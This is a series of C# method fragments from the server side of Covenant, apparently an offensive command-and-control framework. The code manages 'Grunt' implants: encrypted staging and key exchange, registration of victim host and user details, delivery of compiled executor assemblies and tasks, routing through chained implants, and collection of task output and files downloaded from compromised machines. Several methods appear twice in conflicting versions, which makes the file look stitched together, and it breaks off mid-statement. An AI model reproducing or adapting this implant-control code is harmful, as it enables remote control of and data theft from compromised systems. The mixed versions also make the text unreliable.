public static Grunt Create(API.Models.Grunt gruntModel) { return(new Grunt { Id = gruntModel.Id ?? default, ListenerId = gruntModel.ListenerId ?? default, Name = gruntModel.Name ?? default, DotNetFrameworkVersion = (Common.DotNetVersion)Enum.Parse(typeof(Common.DotNetVersion), gruntModel.DotNetFrameworkVersion.ToString()), CovenantIPAddress = gruntModel.CovenantIPAddress ?? default, Delay = gruntModel.Delay ?? default, Jitter = gruntModel.Jitter ?? default, ConnectAttempts = gruntModel.ConnectAttempts ?? default, LastCheckIn = gruntModel.LastCheckIn ?? default, Status = (GruntStatus)Enum.Parse(typeof(GruntStatus), gruntModel.Status.ToString()), Integrity = (IntegrityLevel)Enum.Parse(typeof(IntegrityLevel), gruntModel.Integrity.ToString()), Process = gruntModel.Process, UserDomainName = gruntModel.UserDomainName, UserName = gruntModel.UserName, GruntSharedSecretPassword = gruntModel.GruntSharedSecretPassword, GruntRSAPublicKey = gruntModel.GruntRSAPublicKey, GruntNegotiatedSessionKey = gruntModel.GruntNegotiatedSessionKey, GruntChallenge = gruntModel.GruntChallenge, IPAddress = gruntModel.IpAddress, OperatingSystem = gruntModel.OperatingSystem, CookieAuthKey = gruntModel.CookieAuthKey });
public static Grunt Create(API.Models.Grunt gruntModel) { return(new Grunt { Id = gruntModel.Id ?? default, ListenerId = gruntModel.ListenerId ?? default, Name = gruntModel.Name ?? default, GUID = gruntModel.Guid ?? default, OriginalServerGuid = gruntModel.OriginalServerGuid ?? default, DotNetFrameworkVersion = (Common.DotNetVersion)Enum.Parse(typeof(Common.DotNetVersion), gruntModel.DotNetFrameworkVersion.ToString()), CovenantIPAddress = gruntModel.CovenantIPAddress ?? default, Children = gruntModel.Children.ToList(), CommType = (Grunt.CommunicationType)Enum.Parse(typeof(Grunt.CommunicationType), gruntModel.CommType.ToString()), SMBPipeName = gruntModel.SmbPipeName, Delay = gruntModel.Delay ?? default, JitterPercent = gruntModel.JitterPercent ?? default, ConnectAttempts = gruntModel.ConnectAttempts ?? default, KillDate = gruntModel.KillDate ?? default, ActivationTime = gruntModel.ActivationTime ?? default, LastCheckIn = gruntModel.LastCheckIn ?? default, Status = (GruntStatus)Enum.Parse(typeof(GruntStatus), gruntModel.Status.ToString()), Integrity = (IntegrityLevel)Enum.Parse(typeof(IntegrityLevel), gruntModel.Integrity.ToString()), Process = gruntModel.Process, UserDomainName = gruntModel.UserDomainName, UserName = gruntModel.UserName, GruntSharedSecretPassword = gruntModel.GruntSharedSecretPassword, GruntRSAPublicKey = gruntModel.GruntRSAPublicKey, GruntNegotiatedSessionKey = gruntModel.GruntNegotiatedSessionKey, GruntChallenge = gruntModel.GruntChallenge, IPAddress = gruntModel.IpAddress, Hostname = gruntModel.Hostname, OperatingSystem = gruntModel.OperatingSystem, CookieAuthKey = gruntModel.CookieAuthKey });
public ActionResult <string> Get() { this.SetHeaders(); string cookie = this.GetCookie(); try { API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); if (gruntModel == null || gruntModel.Status != GruntStatus.Active) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond Ok return(Ok()); } gruntModel.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(gruntModel); GruntTasking gruntTasking = this.CovenantClient.ApiGruntsByIdTaskingsSearchUninitializedGet(gruntModel.Id ?? default) .FirstOrDefault(); if (gruntTasking == null) { // No GruntTasking assigned. Respond with empty template, return(Ok(this.GetGetEmptyResponse())); } if (gruntTasking.Type == GruntTaskingType.Assembly) { GruntTask task = this.CovenantClient.ApiGrunttasksByIdGet(gruntTasking.TaskId ?? default); if (task == null) { // Can't find corresponding task. Should never reach this point. Will just respond NotFound. return(NotFound()); } } gruntTasking.Status = GruntTaskingStatus.Tasked; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking); API.Models.Grunt targetGruntModel = this.CovenantClient.ApiGruntsByIdGet(gruntTasking.GruntId ?? default); Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(gruntModel, targetGruntModel, gruntTasking.GruntTaskingMessage); } catch (HttpOperationException) { // Change to new Status: Aborted? gruntTasking.Status = GruntTaskingStatus.Completed; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking); return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); } catch (HttpOperationException) { return(NotFound()); } }
private ActionResult RegisterGrunt(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage)); // todo: try/catch on deserialize? Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message); targetGrunt.IpAddress = grunt.IPAddress; targetGrunt.Hostname = grunt.Hostname; targetGrunt.OperatingSystem = grunt.OperatingSystem; targetGrunt.UserDomainName = grunt.UserDomainName; targetGrunt.UserName = grunt.UserName; targetGrunt.Status = GruntStatus.Active; targetGrunt.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString()); targetGrunt.Process = grunt.Process; realGrunt.LastCheckIn = DateTime.UtcNow; CovenantClient.ApiGruntsPut(targetGrunt); GruntTaskingMessage tasking = new GruntTaskingMessage { Message = targetGrunt.CookieAuthKey, Name = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10), Type = GruntTaskingType.Jobs, Token = false }; Models.Grunts.GruntEncryptedMessage responseMessage = null; try { responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
// post task private ActionResult PostTask(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage outputMessage) { string cookie = this.GetCookie(); if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active || egressGrunt.CookieAuthKey != cookie) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string TaskName = outputMessage.Meta; if (string.IsNullOrWhiteSpace(TaskName)) { // Invalid task response. This happens on post-register write return(NotFound()); } GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsDetailGet(targetGrunt.Id ?? default).FirstOrDefault(T => T.Name == TaskName); if (gruntTasking == null || targetGrunt.Id != gruntTasking.GruntId) { // Invalid taskname. May not be legitimate Grunt request, respond NotFound return(NotFound()); } var realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active) { // Invalid Grunt. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey))) { // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound return(NotFound()); } string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage)); gruntTasking.GruntTaskOutput = taskOutput; gruntTasking.Status = GruntTaskingStatus.Completed; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking); targetGrunt = this.CovenantClient.ApiGruntsByIdGet(targetGrunt.Id ?? default); targetGrunt.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(targetGrunt); return(Ok()); }
private ActionResult RegisterGrunt(Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage) { API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntMessage.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage2) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntMessage.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage)); // todo: try/catch on deserialize? Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message); gruntModel.IpAddress = grunt.IPAddress; gruntModel.OperatingSystem = grunt.OperatingSystem; gruntModel.UserDomainName = grunt.UserDomainName; gruntModel.UserName = grunt.UserName; gruntModel.Status = GruntStatus.Active; gruntModel.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString()); gruntModel.Process = grunt.Process; CovenantClient.ApiGruntsPut(gruntModel); CovenantClient.ApiEventsPost(new EventModel { Message = "Grunt: " + grunt.Name + " from: " + grunt.IPAddress + " has been activated!", Level = EventLevel.Highlight, Context = "*" }); var responseMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create( Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(gruntModel.CookieAuthKey) ); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
public ActionResult PostStage2(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; realGrunt.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly)); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" return(Ok(response)); }
public ActionResult <string> Get() { this.SetHeaders(); string cookie = this.GetCookie(); API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); if (gruntModel == null || gruntModel.Status != GruntStatus.Active) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound return(NotFound()); } gruntModel.LastCheckIn = DateTime.Now.ToString(); CovenantClient.ApiGruntsPut(gruntModel); GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsGet(gruntModel.Id ?? default).FirstOrDefault(GT => GT.Status == GruntTaskingStatus.Uninitialized); if (gruntTasking == null) { // No GruntTasking assigned. Respond with empty template, return(Ok(this.GetGetEmptyResponse())); } if (gruntTasking.Type == GruntTaskingType.Assembly) { GruntTask task = CovenantClient.ApiGruntTasksByIdGet(gruntTasking.TaskId ?? default); if (task == null) { // Can't find corresponding task. Should never reach this point. Will just respond NotFound. return(NotFound()); } } gruntTasking.Status = GruntTaskingStatus.Tasked; CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking); string responseTasking = JsonConvert.SerializeObject(gruntTasking.TaskingMessage); var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create( Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(responseTasking) ); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
private ActionResult PostStage1(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response realGrunt.GruntChallenge = Convert.ToBase64String(challenge2); realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1; realGrunt.LastCheckIn = DateTime.UtcNow; CovenantClient.ApiGruntsPut(realGrunt.ToModel()); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray()); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" return(Ok(response)); }
private Models.Grunts.GruntEncryptedMessage CreateMessageForGrunt(API.Models.Grunt grunt, API.Models.Grunt targetGrunt, byte[] message) { List <string> path = this.CovenantClient.ApiGruntsByIdPathByTidGet(grunt.Id ?? default, targetGrunt.Id ?? default).ToList(); path.Reverse(); Models.Grunts.GruntEncryptedMessage finalMessage = null; Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType messageType = Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Tasking; foreach (string guid in path) { API.Models.Grunt thisGrunt = this.CovenantClient.ApiGruntsGuidByGuidGet(guid); finalMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create( Covenant.Models.Grunts.Grunt.Create(thisGrunt), message, messageType ); message = Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(finalMessage)); messageType = Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Routing; } return(finalMessage); }
private ActionResult PostStage1(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response) { // Check if this Grunt ID is already active API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage1Response.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage0) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage1Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response realGrunt.GruntChallenge = Convert.ToBase64String(challenge2); Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, challenge1.Concat(challenge2).ToArray()); string Stage1Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1; CovenantClient.ApiGruntsPut(realGrunt.ToModel()); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage1Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response) { // Check if this Grunt ID is already active API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id); if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response); if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2; this.CovenantClient.ApiGruntsPut(realGrunt.ToModel()); API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId); API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId); var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel); string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel)); var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly)); string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
private ActionResult PostStage0(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response) { if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } bool egressGruntExists = (egressGrunt != null); Covenant.Models.Grunts.Grunt realTargetGrunt = null; string guid = gruntStage0Response.GUID.Substring(10); if (targetGrunt.Status != GruntStatus.Uninitialized) { // We create a new Grunt if this one is not uninitialized API.Models.Grunt tempModel = new API.Models.Grunt { Id = 0, Guid = gruntStage0Response.GUID.Substring(10), Status = GruntStatus.Stage0, ListenerId = targetGrunt.ListenerId, CovenantIPAddress = targetGrunt.CovenantIPAddress, GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword, CommType = targetGrunt.CommType, SmbPipeName = targetGrunt.SmbPipeName, Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate, ConnectAttempts = targetGrunt.ConnectAttempts, DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion, LastCheckIn = DateTime.UtcNow }; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel); realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } else { targetGrunt.Status = GruntStatus.Stage0; targetGrunt.Guid = guid; targetGrunt.LastCheckIn = DateTime.UtcNow; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(targetGrunt); realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } if (!egressGruntExists) { egressGrunt = realTargetGrunt.ToModel(); } // EncryptedMessage is the RSA Public Key realTargetGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(realTargetGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key Aes newAesKey = Aes.Create(); newAesKey.GenerateKey(); realTargetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel()); if (egressGruntExists) { // Add this as Child grunt to Grunt that connects it List <GruntTasking> taskings = this.CovenantClient.ApiTaskingsGet().ToList(); // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort? GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault(); if (connectTasking == null) { return(NotFound()); } connectTasking = this.CovenantClient.ApiGruntsByIdTaskingsByTidDetailGet(connectTasking.GruntId ?? default, connectTasking.Id ?? default); realTargetGrunt.Hostname = connectTasking.GruntTaskingMessage.Message.Split(",")[0]; this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel()); connectTasking.Status = GruntTaskingStatus.Completed; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(connectTasking.GruntId ?? default, connectTasking.Id ?? default, connectTasking); } byte[] rsaEncryptedBytes = realTargetGrunt.RSAEncrypt(Convert.FromBase64String(realTargetGrunt.GruntNegotiatedSessionKey)); Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, realTargetGrunt.ToModel(), rsaEncryptedBytes); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" return(Ok(response)); }
// stage0 private ActionResult PostStage0(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response) { // Check if this Grunt ID is already active API.Models.Grunt savedGrunt = CovenantClient.ApiGruntsByIdGet(gruntStage0Response.Id); if (savedGrunt == null) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (!gruntStage0Response.VerifyHMAC(Convert.FromBase64String(savedGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } Covenant.Models.Grunts.Grunt realGrunt = null; if (savedGrunt.Status != GruntStatus.Uninitialized) { savedGrunt.Status = GruntStatus.Stage0; // We create a new Grunt if this one is not uninitialized API.Models.Grunt tempModel = new API.Models.Grunt { Status = savedGrunt.Status, ListenerId = savedGrunt.ListenerId, CovenantIPAddress = savedGrunt.CovenantIPAddress, GruntSharedSecretPassword = savedGrunt.GruntSharedSecretPassword, Delay = savedGrunt.Delay, Jitter = savedGrunt.Jitter, ConnectAttempts = savedGrunt.ConnectAttempts, DotNetFrameworkVersion = savedGrunt.DotNetFrameworkVersion }; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel); realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } else { savedGrunt.Status = GruntStatus.Stage0; API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(savedGrunt); realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt); } // EncryptedMessage is the RSA Public Key realGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(realGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key Aes newAesKey = Aes.Create(); newAesKey.GenerateKey(); realGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); CovenantClient.ApiGruntsPut(realGrunt.ToModel()); byte[] rsaEncryptedBytes = realGrunt.RSAEncrypt(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey)); Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create( realGrunt, rsaEncryptedBytes, Convert.FromBase64String(realGrunt.GruntSharedSecretPassword) ); string Stage0Response = message.Id + "," + message.Name + "," + message.IV + "," + message.EncryptedMessage + "," + message.HMAC; // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage0Response)); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
// post task private ActionResult PostTask(Covenant.Models.Grunts.GruntEncryptedMessage outputMessage) { string cookie = this.GetCookie(); API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); if (gruntModel == null || gruntModel.Status != GruntStatus.Active) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string TaskName = outputMessage.Meta; GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsByTasknameGet(gruntModel.Id ?? default, TaskName); if (gruntTasking == null || gruntModel.Id != gruntTasking.GruntId) { // Invalid taskname. May not be legitimate Grunt request, respond NotFound return(NotFound()); } var realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel); if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active) { // Invalid Grunt. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey))) { // Invalid signature. Almost certainly not a legitimate Grunt request, responsd NotFound return(NotFound()); } string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage)); gruntTasking.GruntTaskOutput = taskOutput; gruntTasking.Status = GruntTaskingStatus.Completed; if (gruntTasking.Type == GruntTaskingType.Kill) { gruntModel.Status = GruntStatus.Killed; CovenantClient.ApiGruntsPut(gruntModel); } CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking); GruntTask DownloadTask = CovenantClient.ApiGruntTasksGet().FirstOrDefault(GT => GT.Name == "Download"); if (gruntTasking.TaskId == DownloadTask.Id) { CovenantClient.ApiEventsPost(new EventModel { Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name, Level = EventLevel.Highlight, Context = realGrunt.Name }); string FileName = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.GruntTaskingAssembly.Split(",")[1])); CovenantClient.ApiEventsDownloadPost(new DownloadEvent { Message = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...", Level = EventLevel.Info, Context = realGrunt.Name, FileName = FileName, FileContents = gruntTasking.GruntTaskOutput, Progress = DownloadProgress.Complete }); } else { CovenantClient.ApiEventsPost(new EventModel { Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name, Level = EventLevel.Highlight, Context = realGrunt.Name }); CovenantClient.ApiEventsPost(new EventModel { Message = gruntTasking.GruntTaskOutput, Level = EventLevel.Info, Context = realGrunt.Name }); } return(Ok()); }
private Models.Grunts.GruntEncryptedMessage CreateMessageForGrunt(API.Models.Grunt grunt, API.Models.Grunt targetGrunt, GruntTaskingMessage taskingMessage) { return(this.CreateMessageForGrunt(grunt, targetGrunt, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(taskingMessage)))); }
public ActionResult <string> Post() { this.SetHeaders(); using (StreamReader reader = new StreamReader(Request.Body, System.Text.Encoding.UTF8)) { Covenant.Models.Grunts.GruntEncryptedMessage message = null; try { string body = reader.ReadToEnd(); string ExtractedMessage = body.ParseExact(this.Profile.HttpPostRequest).FirstOrDefault(); string inverted = Common.CovenantEncoding.GetString(this.Profile.Invert(ExtractedMessage)); message = JsonConvert.DeserializeObject <Covenant.Models.Grunts.GruntEncryptedMessage>(inverted); } catch (Exception) { // Request not formatted correctly. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string cookie = this.GetCookie(); API.Models.Grunt egressGrunt = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); API.Models.Grunt targetGrunt = null; try { targetGrunt = this.CovenantClient.ApiGruntsGuidByGuidGet(message.GUID); } catch (HttpOperationException) { targetGrunt = null; } if (targetGrunt == null) { if (message.GUID.Length == 20) { API.Models.Grunt originalGeneratedGrunt = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.OriginalServerGuid == message.GUID.Substring(0, 10)); return(this.PostStage0(egressGrunt, originalGeneratedGrunt, message)); } return(NotFound()); } switch ((Covenant.Models.Grunts.Grunt.GruntStatus)targetGrunt.Status) { case Covenant.Models.Grunts.Grunt.GruntStatus.Uninitialized: return(this.PostStage0(egressGrunt, targetGrunt, message)); case Covenant.Models.Grunts.Grunt.GruntStatus.Stage0: return(this.PostStage1(egressGrunt, targetGrunt, message)); case 